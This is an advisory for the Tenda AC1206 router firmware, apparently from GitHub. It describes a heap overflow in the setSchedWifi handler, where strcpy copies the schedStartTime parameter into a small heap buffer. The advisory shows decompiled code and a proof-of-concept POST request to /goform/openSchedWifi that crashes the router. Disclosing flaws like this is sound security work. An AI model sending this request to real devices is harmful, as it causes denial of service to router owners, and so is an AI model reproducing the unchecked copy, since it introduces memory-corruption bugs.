tianhui999 Add files via upload History

1 contributor

49 lines (31 sloc) | 3.16 KB

Affect device: Tenda-AC1206 US_AC1206V1.0RTL_V15.03.06.23_multi_TD01(https://www.tenda.com.cn/download/detail-2766.html)

Vulnerability Type: Heap overflow

Impact: Denial of Service(DoS)

Vulnerability description

This vulnerability lies in the `/goform/openSchedWifi` page which influences the lastest version of Tenda-AC1206 US_AC1206V1.0RTL_V15.03.06.23_multi_TD01 (https://www.tenda.com.cn/download/detail-2766.html)

The vulnerability exists in the file `/bin/httpd` , function **setSchedWifi**.

```
25  switch_day[4] = 1;
26  switch_day[5] = 1;
27  switch_day[6] = 1;
28  sched_wifi_enable = websGetVar(wp, "schedWifiEnable", "1");
29  sched_start_time = websGetVar(wp, "schedStartTime", byte_519DA0);
30  sched_end_time = websGetVar(wp, "schedEndTime", byte_519DA0);
31  timeType = websGetVar(wp, "timeType", "0");
32  day = websGetVar(wp, "day", "1,1,1,1,1,1,1");
33  i = 0;
```

```
else
{
  printf("%s\n%s\n", ali_val[0], ali_val[1]);
  if ( check_conflict(ali_val[0], ali_val[1]) && enable )
  {
    free(wlan_switch);
    errCode = 2;
  }
  else
  {
    SetValue("nkgw.wlan.offtime.list1", ali_val);
    SetValue("nkgw.wlan.ontime.list1", ali_val[1]);
    if ( wlan_switch )
    {
      wlan_switch->switch_state = atoi(wifi_enable) != 0;
      wlan_switch->scheduler_state = atoi(sched_wifi_enable) != 0;
      strcpy(wlan_switch->begin_time, sched_start_time);
      strcpy(wlan_switch->end_time, sched_end_time);
      for ( i = 0; i < 7; ++i )
        wlan_switch->repeats[i] = switch_day[i] != 0;
      set_wlan_switch_state(wlan_switch, 0);
      free(wlan_switch);
      errCode = 0;
    }
```

enable should be 0

```
SetValue("sys.sched.wifi.timeType", timeType);
wlan_switch = (wlan_switch_state *)malloc(0x19u);
enable = atoi(sched_wifi_enable);
```

User control pointer parameter ***sched_start_time*** in web requesting; ***wlan_switch*** is an array on the heap, and using `strcpy` to copy ***sched_start_time*** to ***wlan_switch*** without length limit will cause heap overflow.

POC and repetition

In order to reproduce the vulnerability, the following steps can be followed:

1. Boot the firmware by qemu-system or other ways (real machine)
2. Attack with the following POC attacks

```
POST /goform/openSchedWifi HTTP/1.1
Host: 192.168.23.133
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, lik
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: password=byn5gk
Connection: close
Content-Length: 1552

schedWifiEnable=0&schedStartTime=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .